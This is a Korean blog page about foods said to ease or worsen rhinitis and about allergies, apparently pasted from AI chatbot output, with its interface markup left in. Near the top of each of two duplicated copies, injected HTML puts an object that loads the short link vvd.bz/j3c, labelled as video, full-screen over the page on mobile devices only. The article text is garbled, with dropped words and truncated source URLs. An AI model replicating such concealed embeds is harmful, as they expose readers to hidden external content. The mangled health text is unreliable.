비염에 좋은 음식 비염에 안 좋은 음식 알레르기

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3c" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:30">비염에 좋은 음식과 나쁜 음식, 알레르기와의 관계</h2><p data-sourcepos="3:1-3:74">비염으로 고민하시는 분들을 위해 비염에 도움이 되는 음식과 피해야 할 음식, 그리고 알레르기와의 관계에 대해 자세히 알려드리겠습니다.</p><h3 data-sourcepos="5:1-5:13">비염에 좋은 음식</h3><p data-sourcepos="7:1-7:51">비염 완화에 도움이 되는 음식은 주로 염증을 완화하고 면역력을 높이는 가 있습니다.</p><ul data-sourcepos="9:1-15:0"> <li data-sourcepos="9:1-9:69"><strong>도라지:</strong> 사포닌 성분이 풍부하여 기관지를 촉촉하게 유지하고 염증 완화에 도움을 줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7886bc3b793046a7&quot;,&quot;c_9a88d5c7bf264780&quot;,null,&quot;rc_9cbf2e55b85fa615&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" ://.newsam.co.kr/news/article.html?no=28005"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="도라지 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSn8AvPC8mMcNlO5BZAvTMOAj03sgjuRvACY75XFyp-bPY592Thocx1dZk97yuG"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" ://.newsam.co.kr/news/article.html?no=28005" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7886bc3b793046a7&quot;,&quot;c_9a88d5c7bf264780&quot;,null,&quot;rc_9cbf2e55b85fa615&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcTS9mjWroUO69zVedW7tRje6M22ArPHJla3PkRs3ec8FucpbacDgqj5nhx2oapX_ssvxCS_9eE-x7LZ65Zo7VrNzEmd8Y5hYcUm"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.newsam.co.kr</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 도라지 </div></div></single-image></response-element></div></li> <li data-sourcepos="10:1-10:85"><strong>배:</strong> 폐를 맑게 하고 열을 내려주는 가 있어 비염 완화에 좋습니다. 특히 배즙은 목이 칼칼할 때 적입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7886bc3b793046a7&quot;,&quot;c_9a88d5c7bf264780&quot;,null,&quot;rc_9cbf2e55b85fa615&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://kormedi.com/1587960/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="배 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRvI10bdTbvrl9TAhkd70ApA2CW9yyqYPmTz0hGWOIUwcj5OJjIrzFO83wd68zT"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kormedi.com/1587960/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7886bc3b793046a7&quot;,&quot;c_9a88d5c7bf264780&quot;,null,&quot;rc_9cbf2e55b85fa615&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcTLg2VmTGS5zyZ-G6fulmgu9bqPAYBn2FfTjkKxc6_sy9zGtJkRtZGQ1z7EFiotvG40druhbhwl0RVNR7sJlBEX-rLVcv8"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kormedi.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 배 </div></div></single-image></response-element></div></li> <li data-sourcepos="11:1-11:82"><strong>생강:</strong> 혈액순환을 촉진하고 몸을 따뜻하게 해주어 비염으로 인한 콧물, 코막힘 을 완화하는 데 도움을 줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7886bc3b793046a7&quot;,&quot;c_9a88d5c7bf264780&quot;,null,&quot;rc_9cbf2e55b85fa615&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EC%83%9D%EA%B0%95"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="생강 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcTalMSU4jRfyIL5tFvjKc4ZuBSMZ126WxzajFD-KR77oLaztsTHHncbqjiV1VBR"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EC%83%9D%EA%B0%95" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7886bc3b793046a7&quot;,&quot;c_9a88d5c7bf264780&quot;,null,&quot;rc_9cbf2e55b85fa615&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 생강 </div></div></single-image></response-element></div></li> <li data-sourcepos="12:1-12:60"><strong>브로콜리:</strong> 비타민C가 풍부하여 면역력을 높이고 항산화 작용을 합니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7886bc3b793046a7&quot;,&quot;c_9a88d5c7bf264780&quot;,null,&quot;rc_9cbf2e55b85fa615&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%B8%8C%EB%A1%9C%EC%BD%9C%EB%A6%AC"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="브로콜리 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcS3ldpt2wXyXGs4ABAyKVXVuV3lTyxQPJgWiZsGVXLwaBy064wbVEWMDDmYjGbm"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%B8%8C%EB%A1%9C%EC%BD%9C%EB%A6%AC" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7886bc3b793046a7&quot;,&quot;c_9a88d5c7bf264780&quot;,null,&quot;rc_9cbf2e55b85fa615&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 브로콜리 </div></div></single-image></response-element></div></li> <li data-sourcepos="13:1-13:69"><strong>연근:</strong> 혈액순환을 촉진하고 염증을 완화하는 가 있어 비염 개선에 도움을 줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7886bc3b793046a7&quot;,&quot;c_9a88d5c7bf264780&quot;,null,&quot;rc_9cbf2e55b85fa615&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://wtable.co.kr/recipes/WdzGXDumetzxNibW86yT6z5W"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="연근 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcQ9E0-aMm4oLMWd4deDWn8XwZnF7UplC9Or1EgsjZ-JUXWiGWgNKeyZgSMwKO_7"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://wtable.co.kr/recipes/WdzGXDumetzxNibW86yT6z5W" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7886bc3b793046a7&quot;,&quot;c_9a88d5c7bf264780&quot;,null,&quot;rc_9cbf2e55b85fa615&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcSplMbeWaIJb_u15wME2OjJosivXTp4AJvg9HovE3o-ttouKAD-S_Ilj7FFZ5ir1o0Q8d5HZEC7nzP6Ro2yIK1iyFDZcY0W"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">wtable.co.kr</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 연근 </div></div></single-image></response-element></div></li> <li data-sourcepos="14:1-15:0"><strong>귤:</strong> 비타민C가 풍부하여 면역력을 높이고 감기 예방에도 적입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7886bc3b793046a7&quot;,&quot;c_9a88d5c7bf264780&quot;,null,&quot;rc_9cbf2e55b85fa615&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%B7%A4"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="귤 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcShWIxq9l-2VlvzukEBqjIABnW7jwgmNJ5h2iQW2x7Wa47srKSy8-Imoc-gX7NC"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%B7%A4" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_7886bc3b793046a7&quot;,&quot;c_9a88d5c7bf264780&quot;,null,&quot;rc_9cbf2e55b85fa615&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 귤 </div></div></single-image></response-element></div></li> </ul><h3 data-sourcepos="16:1-16:13">비염에 나쁜 음식</h3><p data-sourcepos="18:1-18:51">비염 을 악화시킬 수 있는 음식은 주로 염증을 유발하거나 면역력을 저하시키는 음식입니다.</p><ul data-sourcepos="20:1-25:0"> <li data-sourcepos="20:1-20:54"><strong>맵고 짠 음식:</strong> 염증을 악화시키고 기관지를 자극하여 비염 을 악화시킬 수 있습니다.</li> <li data-sourcepos="21:1-21:52"><strong>찬 음식:</strong> 몸을 차게 만들어 혈액순환을 방해하고 비염 을 악화시킬 수 있습니다.</li> <li data-sourcepos="22:1-22:54"><strong>밀가루 음식:</strong> 소화 부담을 높이고 면역력을 저하시켜 비염 을 악화시킬 수 있습니다.</li> <li data-sourcepos="23:1-23:59"><strong>튀긴 음식:</strong> 기름진 음식은 폐를 막히게 하고 염증을 유발하여 비염 을 악화시킬 수 있습니다.</li> <li data-sourcepos="24:1-25:0"><strong>알코올, 카페인:</strong> 혈관을 수축시키고 면역력을 저하시켜 비염 을 악화시킬 수 있습니다.</li> </ul><h3 data-sourcepos="26:1-26:16">비염과 알레르기의 관계</h3><p data-sourcepos="28:1-28:110">비염은 알레르기 반응의 일종으로, 특정 물질(꽃가루, 집먼지진드기 등)에 과민하게 반응하여 코 점막에 염증이 생기는 입니다. 따라서 알레르기를 유발하는 음식은 비염 을 악화시킬 수 있습니다.</p><p data-sourcepos="30:1-30:22"><strong>알레르기를 유발할 수 있는 음식:</strong></p><ul data-sourcepos="32:1-36:0"> <li data-sourcepos="32:1-32:49"><strong>우유:</strong> 우유 단백질에 알레르기가 있는 경우 비염 을 악화시킬 수 있습니다.</li> <li data-sourcepos="33:1-33:47"><strong>달걀:</strong> 달걀흰자에 알레르기가 있는 경우 비염 을 악화시킬 수 있습니다.</li> <li data-sourcepos="34:1-34:45"><strong>생선:</strong> 생선에 알레르기가 있는 경우 비염 을 악화시킬 수 있습니다.</li> <li data-sourcepos="35:1-36:0"><strong>땅콩:</strong> 땅콩에 알레르기가 있는 경우 비염 을 악화시킬 수 있습니다.</li> </ul><p data-sourcepos="37:1-37:87"><strong>주의:</strong> 위에 언급된 음식은 일반적인 경우이며, 개인마다 알레르기 유발 식품이 다를 수 있습니다. 한 진단을 위해 전문의와 상담하는 것이 좋습니다.</p><p data-sourcepos="39:1-39:22"><strong>비염 관리를 위한 추가적인 노력:</strong></p><ul data-sourcepos="41:1-45:0"> <li data-sourcepos="41:1-41:45"><strong>규칙적인 운동:</strong> 면역력을 높이고 혈액순환을 개선하는 데 도움이 됩니다.</li> <li data-sourcepos="42:1-42:45"><strong>충분한 수면:</strong> 면역력을 유지하고 스트레스를 해소하는 데 도움이 됩니다.</li> <li data-sourcepos="43:1-43:73"><strong>실내 습도 조절:</strong> 너무 건조하거나 습한 환경은 비염 을 악화시킬 수 있으므로 적절한 습도를 유지하는 것이 중요합니다.</li> <li data-sourcepos="44:1-45:0"><strong>미세먼지 관리:</strong> 미세먼지는 비염 을 악화시킬 수 있으므로 외출 시 마스크를 착용하고 실내 공기를 정기적으로 청소하는 것이 좋습니다.</li> </ul><p data-sourcepos="46:1-46:96"><strong>Disclaimer:</strong> 이 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 다를 수 있습니다. 의 진단 및 는 반드시 의사의 상담을 받으시기 바랍니다.</p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3c" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:30">비염에 좋은 음식과 나쁜 음식, 알레르기와의 관계</h2><p data-sourcepos="3:1-3:74">비염으로 고민하시는 분들을 위해 비염에 도움이 되는 음식과 피해야 할 음식, 그리고 알레르기와의 관계에 대해 자세히 알려드리겠습니다.</p><h3 data-sourcepos="5:1-5:13">비염에 좋은 음식</h3><p data-sourcepos="7:1-7:51">비염 완화에 도움이 되는 음식은 주로 염증을 완화하고 면역력을 높이는 가 있습니다.</p><ul data-sourcepos="9:1-15:0"> <li data-sourcepos="9:1-9:69"><strong>도라지:</strong> 사포닌 성분이 풍부하여 기관지를 촉촉하게 유지하고 염증 완화에 도움을 줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_7886bc3b793046a7","c_9a88d5c7bf264780",null,"rc_9cbf2e55b85fa615",null,null,"ko",null,null,null,null,1,0]];mutable:true" ://.newsam.co.kr/news/article.html?no=28005"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="도라지 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSn8AvPC8mMcNlO5BZAvTMOAj03sgjuRvACY75XFyp-bPY592Thocx1dZk97yuG"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" ://.newsam.co.kr/news/article.html?no=28005" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_7886bc3b793046a7","c_9a88d5c7bf264780",null,"rc_9cbf2e55b85fa615",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTS9mjWroUO69zVedW7tRje6M22ArPHJla3PkRs3ec8FucpbacDgqj5nhx2oapX_ssvxCS_9eE-x7LZ65Zo7VrNzEmd8Y5hYcUm"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.newsam.co.kr</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 도라지 </div></div></single-image></response-element></div></li> <li data-sourcepos="10:1-10:85"><strong>배:</strong> 폐를 맑게 하고 열을 내려주는 가 있어 비염 완화에 좋습니다. 특히 배즙은 목이 칼칼할 때 적입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_7886bc3b793046a7","c_9a88d5c7bf264780",null,"rc_9cbf2e55b85fa615",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://kormedi.com/1587960/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="배 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRvI10bdTbvrl9TAhkd70ApA2CW9yyqYPmTz0hGWOIUwcj5OJjIrzFO83wd68zT"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kormedi.com/1587960/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_7886bc3b793046a7","c_9a88d5c7bf264780",null,"rc_9cbf2e55b85fa615",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTLg2VmTGS5zyZ-G6fulmgu9bqPAYBn2FfTjkKxc6_sy9zGtJkRtZGQ1z7EFiotvG40druhbhwl0RVNR7sJlBEX-rLVcv8"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kormedi.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 배 </div></div></single-image></response-element></div></li> <li data-sourcepos="11:1-11:82"><strong>생강:</strong> 혈액순환을 촉진하고 몸을 따뜻하게 해주어 비염으로 인한 콧물, 코막힘 을 완화하는 데 도움을 줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_7886bc3b793046a7","c_9a88d5c7bf264780",null,"rc_9cbf2e55b85fa615",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EC%83%9D%EA%B0%95"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="생강 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTalMSU4jRfyIL5tFvjKc4ZuBSMZ126WxzajFD-KR77oLaztsTHHncbqjiV1VBR"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EC%83%9D%EA%B0%95" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_7886bc3b793046a7","c_9a88d5c7bf264780",null,"rc_9cbf2e55b85fa615",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 생강 </div></div></single-image></response-element></div></li> <li data-sourcepos="12:1-12:60"><strong>브로콜리:</strong> 비타민C가 풍부하여 면역력을 높이고 항산화 작용을 합니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_7886bc3b793046a7","c_9a88d5c7bf264780",null,"rc_9cbf2e55b85fa615",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%B8%8C%EB%A1%9C%EC%BD%9C%EB%A6%AC"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="브로콜리 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcS3ldpt2wXyXGs4ABAyKVXVuV3lTyxQPJgWiZsGVXLwaBy064wbVEWMDDmYjGbm"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%B8%8C%EB%A1%9C%EC%BD%9C%EB%A6%AC" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_7886bc3b793046a7","c_9a88d5c7bf264780",null,"rc_9cbf2e55b85fa615",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis 